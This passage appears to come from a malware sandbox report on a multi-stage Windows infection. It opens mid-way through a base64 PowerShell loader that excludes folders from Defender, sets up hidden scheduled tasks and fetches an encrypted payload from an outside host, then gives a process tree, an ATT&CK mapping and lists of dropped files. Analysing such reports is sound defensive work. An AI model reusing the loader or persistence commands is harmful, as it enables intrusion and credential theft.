YAdABcAFcAaQBuAGQAJwAsACcAbwB3AHMAIABEAGUAJwAsACcAZgBlAG4AZAAnACwAJwBlAHIAJwAsACcAXABFAHgAYwBsAHUAcwBpACcALAAnAG8AbgBzACcALAAnAFwAUABhAHQAaABzACcAKQApACAALwB2ACAAJABwADIAIAAvAHQAIABSAEUARwBfAEQAVwBPAFIARAAgAC8AZAAgADAAIAAvAGYAIAAvAHIAZQBnADoANgA0ADsAdAByAHkAewBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAJABwADEAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA7AEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIAAkAHAAMgAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAfQBjAGEAdABjAGgAewB9AFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIABnAHAAdQBwAGQAYQB0AGUAIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAJwAvAGYAbwByAGMAZQAnACwAJwAvAHQAYQByAGcAZQB0ADoAYwBvAG0AcAB1AHQAZQByACcAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAEgAaQBkAGQAZQBuACAALQBXAGEAaQB0ACAAMgA+ACQAbgB1AGwAbAA7AFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0AUwBlAGMAbwBuAGQAcwAgADIAMAA7AHMAYwBoAHQAYQBzAGsAcwAgAC8AYwByAGUAYQB0AGUAIAAvAHQAbgAgACgAJwBXAGkAbgBkAG8AdwBzACcAKwAnAFMAJwArACcAeQBzAHQAZQBtAFMAZQAnACsAJwByAHYAaQBjAGUAJwApACAALwB0AHIAIAAoACQAcAAxACAAKwAgACgALQBqAG8AaQBuACgAJwBcACcALAAnAHMAdgBjAGgAJwAsACcAbwBzAHQALgBlACcALAAnAHgAZQAnACkAKQApACAALwBzAGMAIABvAG4AbABvAGcAbwBuACAALwByAGwAIABoAGkAZwBoAGUAcwB0ACAALwBmACAAMgA+ACQAbgB1AGwAbAA7AHMAYwBoAHQAYQBzAGsAcwAgAC8AYwByAGUAYQB0AGUAIAAvAHQAbgAgACgAJwBSAHUAbgB0ACcAKwAnAGkAbQBlAEIAcgBvAGsAJwArACcAZQAnACsAJwByAFMAZQAnACsAJwByAHYAaQAnACsAJwBjACcAKwAnAGUAJwApACAALwB0AHIAIAAoACQAcAAyAHQAIAArACAAJwBcAFIAdQBuAHQAaQBtAGUAQgByAG8AawBlAHIALgBlAHgAZQAgAC0ARQBtAGIAZQBkAGQAaQBuAGcAJwApACAALwBzAGMAIABvAG4AbABvAGcAbwBuACAALwByAGwAIABoAGkAZwBoAGUAcwB0ACAALwBmACAAMgA+ACQAbgB1AGwAbAA7AFsATgBlAHQALgBTAGUAcgB2AGkAYwBlAFAAbwBpAG4AdABNAGEAbgBhAGcAZQByAF0AOgA6AFMAZQBjAHUAcgBpAHQAeQBQAHIAbwB0AG8AYwBvAGwAPQBbAE4AZQB0AC4AUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbABUAHkAcABlAF0AOgA6AFQAbABzADEAMgA7AFsATgBlAHQALgBTAGUAcgB2AGkAYwBlAFAAbwBpAG4AdABNAGEAbgBhAGcAZQByAF0AOgA6AFMAZQByAHYAZQByAEMAZQByAHQAaQBmAGkAYwBhAHQAZQBWAGEAbABpAGQAYQB0AGkAbwBuAEMAYQBsAGwAYgBhAGMAawA9AHsAJAB0AHIAdQBlAH0AOwAkAGkAdgA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIABiAHkAdABlAFsAXQAgADEANgA7AFsAUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBSAGEAbgBkAG8AbQBOAHUAbQBiAGUAcgBHAGUAbgBlAHIAYQB0AG8AcgBdADoAOgBDAHIAZQBhAHQAZQAoACkALgBHAGUAdABCAHkAdABlAHMAKAAkAGkAdgApADsAJABhAGUAcwA9AFsAUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBBAGUAcwBdADoAOgBDAHIAZQBhAHQAZQAoACkAOwAkAGEAZQBzAC4ASwBlAHkAPQBbAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AEIAeQB0AGUAcwAoACgAJwA0ADEANwAxACcAKwAnADIAOQA2ADEAMgA5ADQAOQAnACsAJwAxADEANAAxADEANgA3ADMAJwArACcAMAA4ACcAKwAnADkAMQA2ADcAMwAzADkAOQAnACsAJwAwADEAJwApACkAOwAkAGEAZQBzAC4ASQBWAD0AJABpAHYAOwAkAGEAZQBzAC4ATQBvAGQAZQA9ACgALQBqAG8AaQBuACgAJwBDAEIAJwAsACcAQwAnACkAKQA7ACQAYQBlAHMALgBQAGEAZABkAGkAbgBnAD0AKAAnAFAASwAnACsAJwBDAFMAJwArACcANwAnACkAOwAkAGMAbQBkAD0AWwBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABCAHkAdABlAHMAKAAoAC0AagBvAGkAbgAoACcAZwBlACcALAAnAHQAUAAnACwAJwBhAHkAbABvACcALAAnAGEAJwAsACcAZAAnACkAKQApADsAJABlAG4AYwBDAG0AZAA9ACQAYQBlAHMALgBDAHIAZQBhAHQAZQBFAG4AYwByAHkAcAB0AG8AcgAoACkALgBUAHIAYQBuAHMAZgBvAHIAbQBGAGkAbgBhAGwAQgBsAG8AYwBrACgAJABjAG0AZAAsADAALAAkAGMAbQBkAC4ATABlAG4AZwB0AGgAKQA7ACQAYgBvAGQAeQA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIABiAHkAdABlAFsAXQAgACgAJABpAHYALgBMAGUAbgBnAHQAaAArACQAZQBuAGMAQwBtAGQALgBMAGUAbgBnAHQAaAApADsAWwBBAHIAcgBhAHkAXQA6ADoAQwBvAHAAeQAoACQAaQB2ACwAJABiAG8AZAB5ACwAMQA2ACkAOwBbAEEAcgByAGEAeQBdADoAOgBDAG8AcAB5ACgAJABlAG4AYwBDAG0AZAAsADAALAAkAGIAbwBkAHkALAAxADYALAAkAGUAbgBjAEMAbQBkAC4ATABlAG4AZwB0AGgAKQA7ACQAdwBjAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAkAHcAYwAuAEgAZQBhAGQAZQByAHMALgBBAGQAZAAoACgALQBqAG8AaQBuACgAJwBDACcALAAnAG8AbgB0AGUAbgAnACwAJwB0AC0AVAB5ACcALAAnAHAAZQAnACkAKQAsACgAJwBhAHAAcAAnACsAJwBsAGkAYwAnACsAJwBhAHQAaQBvAG4AJwArACcALwBvAGMAdABlAHQALQBzACcAKwAnAHQAcgBlACcAKwAnAGEAbQAnACkAKQA7ACQAZABhAHQAYQA9ACQAdwBjAC4AVQBwAGwAbwBhAGQARABhAHQAYQAoACcAaAB0AHQAcABzADoALwAvAHMAYQB5AC0AbQB5AG4AYQBtAGUALgB4AHkAegA6ADQANAAzACcALAAkAGIAbwBkAHkAKQA7ACQAcgBpAHYAPQBbAGIAeQB0AGUAWwBdAF0AJABkAGEAdABhAFsAMAAuAC4AMQA1AF0AOwAkAGUAbgBjAD0AWwBiAHkAdABlAFsAXQBdACQAZABhAHQAYQBbADEANgAuAC4AKAAkAGQAYQB0AGEALgBMAGUAbgBnAHQAaAAtADEAKQBdADsAJABhAGUAcwAuAEkAVgA9ACQAcgBpAHYAOwAkAGQAZQBjAD0AJABhAGUAcwAuAEMAcgBlAGEAdABlAEQAZQBjAHIAeQBwAHQAbwByACgAKQAuAFQAcgBhAG4AcwBmAG8AcgBtAEYAaQBuAGEAbABCAGwAbwBjAGsAKAAkAGUAbgBjACwAMAAsACQAZQBuAGMALgBMAGUAbgBnAHQAaAApADsAWwBJAE8ALgBGAGkAbABlAF0AOgA6AFcAcgBpAHQAZQBBAGwAbABCAHkAdABlAHMAKAAoACQAcAAxACAAKwAgACgAJwBcAHMAdgBjACcAKwAnAGgAbwBzAHQALgBlACcAKwAnAHgAZQAnACkAKQAsACQAZABlAGMAKQA7AEMAbwBwAHkALQBJAHQAZQBtACAAKAAkAHAAMQAgACsAIAAoACcAXABzACcAKwAnAHYAYwBoAG8AJwArACcAcwAnACsAJwB0AC4AZQAnACsAJwB4ACcAKwAnAGUAJwApACkAIAAiACQAcAAyAHQAXABSAHUAbgB0AGkAbQBlAEIAcgBvAGsAZQByAC4AZQB4AGUAIgAgAC0ARgBvAHIAYwBlADsAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACgAJABwADEAIAArACAAKAAnAFwAcwB2AGMAJwArACcAaABvAHMAdAAuAGUAJwArACcAeABlACcAKQApACAALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgA7AA==6⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\attrib.exe"C:\Windows\system32\attrib.exe" +h +s C:\Users\Admin\AppData\Local\Microsoft\OfficeBroker7⤵
- Views/modifies file attributes
-
-
C:\Windows\system32\attrib.exe"C:\Windows\system32\attrib.exe" +h +s C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.PeopleExperienceHost_gw1n1c2fhyeqy7⤵
- Views/modifies file attributes
-
-
C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /reg:647⤵
-
-
C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /v C:\Users\Admin\AppData\Local\Microsoft\OfficeBroker /t REG_DWORD /d 0 /f /reg:647⤵
-
-
C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /v C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.PeopleExperienceHost_gw1n1c2fhyeqy /t REG_DWORD /d 0 /f /reg:647⤵
-
-
C:\Windows\system32\gpupdate.exe"C:\Windows\system32\gpupdate.exe" /force /target:computer7⤵
-
-
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /tn WindowsSystemService /tr C:\Users\Admin\AppData\Local\Microsoft\OfficeBroker\svchost.exe /sc onlogon /rl highest /f7⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /tn RuntimeBrokerService /tr "C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.PeopleExperienceHost_gw1n1c2fhyeqy\AC\Temp\RuntimeBroker.exe -Embedding" /sc onlogon /rl highest /f7⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Users\Admin\AppData\Local\Microsoft\OfficeBroker\svchost.exe"C:\Users\Admin\AppData\Local\Microsoft\OfficeBroker\svchost.exe"7⤵
- Executes dropped EXE
-
-
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" --headless --disable-gpu5⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --headless --disable-gpu5⤵
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" --headless --incognito5⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --headless --disable-gpu5⤵
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --headless --disable-gpu5⤵
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --headless --incognito5⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --headless --disable-gpu5⤵
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" --headless --disable-gpu5⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --headless --incognito5⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --headless --disable-gpu5⤵
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" --headless --disable-gpu5⤵
-
-
-
-
C:\Windows\SysWOW64\Files\Isass.exe"C:\Windows\System32\Files\Isass.exe"3⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\Files\Isass.exe"C:\Windows\System32\Files\Isass.exe"4⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Loads dropped DLL
- Checks whether UAC is enabled
- Drops file in System32 directory
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"5⤵
-
-
-
-
C:\Windows\SysWOW64\Files\BenzMonster.exe"C:\Windows\System32\Files\BenzMonster.exe"3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\Files\connector1.exe"C:\Windows\System32\Files\connector1.exe"3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\Files\support.client.exe"C:\Windows\System32\Files\support.client.exe"3⤵
- Manipulates Digital Signatures
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Modifies system certificate store
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe"4⤵
- Modifies registry class
-
-
-
-
C:\Users\Admin\AppData\Roaming\Win2934\HelpWin.exeC:\Users\Admin\AppData\Roaming\Win2934\HelpWin.exe1⤵
- Executes dropped EXE
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\ProgramData\VAL-VIP.exeC:\ProgramData\VAL-VIP.exe1⤵
- Executes dropped EXE
-
C:\PROGRA~3\VAL-VIP.exeC:\PROGRA~3\VAL-VIP.exe1⤵
- Executes dropped EXE
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵
-
C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" /automation -Embedding1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
-
C:\ProgramData\VAL-VIP.exeC:\ProgramData\VAL-VIP.exe1⤵
- Executes dropped EXE
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵
-
C:\Program Files (x86)\Wizvera\Delfino-G3\delfino.exe"C:\Program Files (x86)\Wizvera\Delfino-G3\delfino.exe" wizvera-delfino-pc://exec/x86/16107/1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Modifies system certificate store
- Suspicious use of SetWindowsHookEx
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵
-
C:\ProgramData\VAL-VIP.exeC:\ProgramData\VAL-VIP.exe1⤵
- Executes dropped EXE
-
C:\Program Files (x86)\Wizvera\Common\wpmsvc\wpmsvc.exe"C:\Program Files (x86)\Wizvera\Common\wpmsvc\wpmsvc.exe"1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
- Modifies system certificate store
-
C:\Users\Admin\AppData\Roaming\conhost.exe"C:\Users\Admin\AppData\Roaming\conhost.exe" ..1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
1PowerShell
1Scheduled Task/Job
1Scheduled Task
1System Services
1Service Execution
1Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
2Windows Service
2Event Triggered Execution
2Image File Execution Options Injection
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
2Windows Service
2Event Triggered Execution
2Image File Execution Options Injection
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Hide Artifacts
1Hidden Files and Directories
1Impair Defenses
2Disable or Modify System Firewall
1Modify Registry
3Subvert Trust Controls
3Install Root Certificate
2SIP and Trust Provider Hijacking
1Virtualization/Sandbox Evasion
1Credential Access
Credentials from Password Stores
2Credentials from Web Browsers
1Windows Credential Manager
1Unsecured Credentials
5Credentials In Files
4Credentials in Registry
1Replay Monitor
Loading Replay Monitor...
Downloads
Synaptics.exe
CFXBypass.exe.log
System.exe.log
TempSpoofer.exe.log
VAL-VIP.exe.log
svchost.exe
._cache_Synaptics.exe
46985E00
12.exe
123.exe
444.exe
LicenseMalwareBytes.exe
Meredrop.exe
System.exe
TempSpoofer.exe
VAL-VIP.exe
builder.exe
delfino-g3.exe
process-injection.exe
YiKEbKV5.xlsm
VCRUNTIME140.dll
_bz2.pyd
_ctypes.pyd
_lzma.pyd
base_library.zip
libffi-7.dll
python3.DLL
python38.dll
ucrtbase.dll
__PSScriptPolicyTest_2vzgxdq2.wpk.ps1
wizvera1_ca.crt
background.exe
key4.db
key3.db
pkcs11.txu
BenzMonster.exe
CFXBypass.exe
Isass.exe
a-89fb7017-7780-4b72-950d-c2db1146a34a.exe
connector1.exe
support.client.exe
memory/912-248-0x0000025113890000-0x0000025113984000-memory.dmp
memory/912-249-0x0000025113D70000-0x0000025113DA4000-memory.dmp
memory/1132-788-0x0000000000400000-0x0000000000428000-memory.dmp
memory/1132-931-0x0000000000400000-0x0000000000428000-memory.dmp
memory/1204-866-0x0000000000B90000-0x00000000011F7000-memory.dmp
memory/1204-864-0x0000000000B90000-0x00000000011F7000-memory.dmp
memory/1204-956-0x0000000000B90000-0x00000000011F7000-memory.dmp
memory/1204-867-0x0000000000B90000-0x00000000011F7000-memory.dmp
memory/1272-393-0x000000001BB10000-0x000000001BC12000-memory.dmp
memory/1272-302-0x00000000009D0000-0x00000000009EA000-memory.dmp
memory/1708-503-0x000001EBF6C70000-0x000001EBF6D72000-memory.dmp
memory/1708-408-0x000001EBF6940000-0x000001EBF69F5000-memory.dmp
memory/1708-486-0x000001EBF6C70000-0x000001EBF6D72000-memory.dmp
memory/1836-797-0x0000000000400000-0x0000000000428000-memory.dmp
memory/1836-755-0x0000000000400000-0x0000000000428000-memory.dmp
memory/2024-290-0x0000000000FF0000-0x0000000001314000-memory.dmp
memory/2200-424-0x00007FFD10190000-0x00007FFD101A0000-memory.dmp
memory/2200-430-0x00007FFD0E0A0000-0x00007FFD0E0B0000-memory.dmp
memory/2200-429-0x00007FFD0E0A0000-0x00007FFD0E0B0000-memory.dmp
memory/2200-428-0x00007FFD10190000-0x00007FFD101A0000-memory.dmp
memory/2200-427-0x00007FFD10190000-0x00007FFD101A0000-memory.dmp
memory/2200-425-0x00007FFD10190000-0x00007FFD101A0000-memory.dmp
memory/2200-426-0x00007FFD10190000-0x00007FFD101A0000-memory.dmp
memory/2548-251-0x000000001DA40000-0x000000001DB42000-memory.dmp
memory/2548-229-0x00000000008E0000-0x00000000008F0000-memory.dmp
memory/2628-137-0x00000000048B0000-0x000000000494C000-memory.dmp
memory/2628-136-0x0000000000010000-0x0000000000018000-memory.dmp
memory/2848-796-0x0000000000400000-0x0000000000880000-memory.dmp
memory/2848-800-0x0000000000400000-0x0000000000880000-memory.dmp
memory/2916-277-0x000000001EFC0000-0x000000001EFC6000-memory.dmp
memory/2916-270-0x000000001EE60000-0x000000001EE6A000-memory.dmp
memory/2916-374-0x000000001D9A0000-0x000000001DAA2000-memory.dmp
memory/2916-278-0x000000001EFF0000-0x000000001EFFA000-memory.dmp
memory/2916-276-0x000000001EFB0000-0x000000001EFB8000-memory.dmp
memory/2916-209-0x0000000000810000-0x0000000000820000-memory.dmp
memory/2916-217-0x000000001B340000-0x000000001B362000-memory.dmp
memory/2916-268-0x0000000020220000-0x000000002023C000-memory.dmp
memory/2916-269-0x0000000020240000-0x00000000202F5000-memory.dmp
memory/2916-275-0x000000001EFD0000-0x000000001EFEA000-memory.dmp
memory/2916-274-0x000000001EE80000-0x000000001EE8A000-memory.dmp
memory/2916-273-0x000000001EE90000-0x000000001EEAC000-memory.dmp
memory/3260-312-0x000000001C5C0000-0x000000001C672000-memory.dmp
memory/3260-311-0x000000001C230000-0x000000001C280000-memory.dmp
memory/3464-128-0x0000000000400000-0x00000000004C5000-memory.dmp
memory/3464-0-0x0000000000650000-0x0000000000651000-memory.dmp
memory/3464-1-0x00000000004A0000-0x00000000004A1000-memory.dmp
memory/4032-798-0x0000000000400000-0x000000000052E000-memory.dmp
memory/4072-196-0x0000000000400000-0x00000000004C5000-memory.dmp
memory/4148-932-0x0000000000400000-0x000000000052E000-memory.dmp
memory/4380-646-0x0000000000400000-0x00000000004C5000-memory.dmp
memory/4380-472-0x0000000000400000-0x00000000004C5000-memory.dmp
memory/4380-129-0x0000000000400000-0x00000000004C5000-memory.dmp
memory/4380-738-0x0000000000400000-0x00000000004C5000-memory.dmp
memory/4380-303-0x0000000000400000-0x00000000004C5000-memory.dmp
memory/4380-132-0x0000000000400000-0x00000000004C5000-memory.dmp
memory/4380-790-0x0000000000400000-0x00000000004C5000-memory.dmp
memory/4404-385-0x0000000140000000-0x000000014028D000-memory.dmp
memory/4404-384-0x00007FFD50110000-0x00007FFD50305000-memory.dmp
memory/4404-415-0x000001AADD600000-0x000001AADD7F5000-memory.dmp
memory/4404-414-0x00007FF758010000-0x00007FF75823A000-memory.dmp
memory/4764-961-0x0000000010000000-0x0000000011860000-memory.dmp
memory/4936-902-0x0000000010000000-0x0000000011860000-memory.dmp
memory/4936-865-0x0000000000400000-0x0000000000823000-memory.dmp
memory/4936-1042-0x0000000000400000-0x0000000000823000-memory.dmp
memory/4936-1051-0x0000000010000000-0x0000000011860000-memory.dmp
memory/4944-733-0x0000027C5EEE0000-0x0000027C5EEE8000-memory.dmp
memory/4944-734-0x0000027C794E0000-0x0000027C79666000-memory.dmp
memory/4944-783-0x0000027C7AF60000-0x0000027C7B062000-memory.dmp
memory/5180-516-0x0000000140000000-0x00000001406EB000-memory.dmp
memory/5180-515-0x0000000140000000-0x00000001406EB000-memory.dmp
memory/5180-628-0x0000000140000000-0x00000001406EB000-memory.dmp
memory/5180-710-0x0000000140000000-0x00000001406EB000-memory.dmp
memory/5180-514-0x0000000140000000-0x00000001406EB000-memory.dmp
memory/5180-512-0x0000000140000000-0x00000001406EB000-memory.dmp
memory/5988-1066-0x0000000000E40000-0x00000000012CB000-memory.dmp
memory/5988-1068-0x0000000000E40000-0x00000000012CB000-memory.dmp
memory/5988-1065-0x0000000000E40000-0x00000000012CB000-memory.dmp
memory/6044-625-0x00007FFD41A50000-0x00007FFD41A5F000-memory.dmp
memory/6044-702-0x00007FFD41A50000-0x00007FFD41A5F000-memory.dmp
memory/6044-701-0x00007FFD41120000-0x00007FFD4113C000-memory.dmp
memory/6044-700-0x00007FFD34000000-0x00007FFD3402F000-memory.dmp
memory/6044-699-0x00007FFD34030000-0x00007FFD3405C000-memory.dmp
memory/6044-698-0x00007FFD34060000-0x00007FFD340A3000-memory.dmp
memory/6044-697-0x00007FFD340B0000-0x00007FFD340E0000-memory.dmp
memory/6044-696-0x00007FFD340E0000-0x00007FFD340F7000-memory.dmp
memory/6044-695-0x00007FFD34100000-0x00007FFD34112000-memory.dmp
memory/6044-694-0x00007FFD343F0000-0x00007FFD34406000-memory.dmp
memory/6044-693-0x00007FFD34120000-0x00007FFD341D6000-memory.dmp
memory/6044-691-0x00007FFD40E80000-0x00007FFD40E98000-memory.dmp
memory/6044-690-0x00007FFD34210000-0x00007FFD34247000-memory.dmp
memory/6044-688-0x00007FFD2D750000-0x00007FFD2DABF000-memory.dmp
memory/6044-686-0x00007FFD40EC0000-0x00007FFD40ECD000-memory.dmp
memory/6044-685-0x00007FFD40ED0000-0x00007FFD40EEA000-memory.dmp
memory/6044-680-0x00007FFD28F20000-0x00007FFD29365000-memory.dmp
memory/6044-679-0x0000000140000000-0x00000001406EB000-memory.dmp
memory/6044-708-0x00007FFD33CC0000-0x00007FFD33CF5000-memory.dmp
memory/6044-707-0x00007FFD33D00000-0x00007FFD33D33000-memory.dmp
memory/6044-703-0x00007FFD341E0000-0x00007FFD3420D000-memory.dmp
memory/6044-704-0x00007FFD40F20000-0x00007FFD40F47000-memory.dmp
memory/6044-689-0x00007FFD28820000-0x00007FFD28F14000-memory.dmp
memory/6044-687-0x00007FFD40EA0000-0x00007FFD40EB1000-memory.dmp
memory/6044-684-0x00007FFD40EF0000-0x00007FFD40F1E000-memory.dmp
memory/6044-665-0x00007FFD33CC0000-0x00007FFD33CF5000-memory.dmp
memory/6044-664-0x00007FFD33D00000-0x00007FFD33D33000-memory.dmp
memory/6044-663-0x00007FFD34000000-0x00007FFD3402F000-memory.dmp
memory/6044-657-0x00007FFD2D750000-0x00007FFD2DABF000-memory.dmp
memory/6044-660-0x00007FFD28820000-0x00007FFD28F14000-memory.dmp
memory/6044-661-0x00007FFD34060000-0x00007FFD340A3000-memory.dmp
memory/6044-662-0x00007FFD34030000-0x00007FFD3405C000-memory.dmp
memory/6044-658-0x00007FFD340E0000-0x00007FFD340F7000-memory.dmp
memory/6044-659-0x00007FFD340B0000-0x00007FFD340E0000-memory.dmp
memory/6044-656-0x00007FFD40EA0000-0x00007FFD40EB1000-memory.dmp
memory/6044-655-0x00007FFD40ED0000-0x00007FFD40EEA000-memory.dmp
memory/6044-648-0x00007FFD28F20000-0x00007FFD29365000-memory.dmp
memory/6044-650-0x00007FFD34120000-0x00007FFD341D6000-memory.dmp
memory/6044-651-0x00007FFD341E0000-0x00007FFD3420D000-memory.dmp
memory/6044-653-0x00007FFD343F0000-0x00007FFD34406000-memory.dmp
memory/6044-654-0x00007FFD34100000-0x00007FFD34112000-memory.dmp
memory/6044-652-0x00007FFD40F20000-0x00007FFD40F47000-memory.dmp
memory/6044-649-0x00007FFD40E80000-0x00007FFD40E98000-memory.dmp
memory/6044-647-0x00007FFD34210000-0x00007FFD34247000-memory.dmp
memory/6044-635-0x0000000140000000-0x00000001406EB000-memory.dmp
memory/6044-633-0x00007FFD28820000-0x00007FFD28F14000-memory.dmp
memory/6044-620-0x00007FFD40F20000-0x00007FFD40F47000-memory.dmp
memory/6044-626-0x00007FFD40EF0000-0x00007FFD40F1E000-memory.dmp
memory/6044-629-0x00007FFD40ED0000-0x00007FFD40EEA000-memory.dmp
memory/6044-631-0x00007FFD2D750000-0x00007FFD2DABF000-memory.dmp
memory/6044-632-0x00007FFD40EC0000-0x00007FFD40ECD000-memory.dmp
memory/6044-630-0x00007FFD40EA0000-0x00007FFD40EB1000-memory.dmp
memory/6044-627-0x00007FFD41120000-0x00007FFD4113C000-memory.dmp
memory/6044-604-0x0000000140000000-0x00000001406EB000-memory.dmp
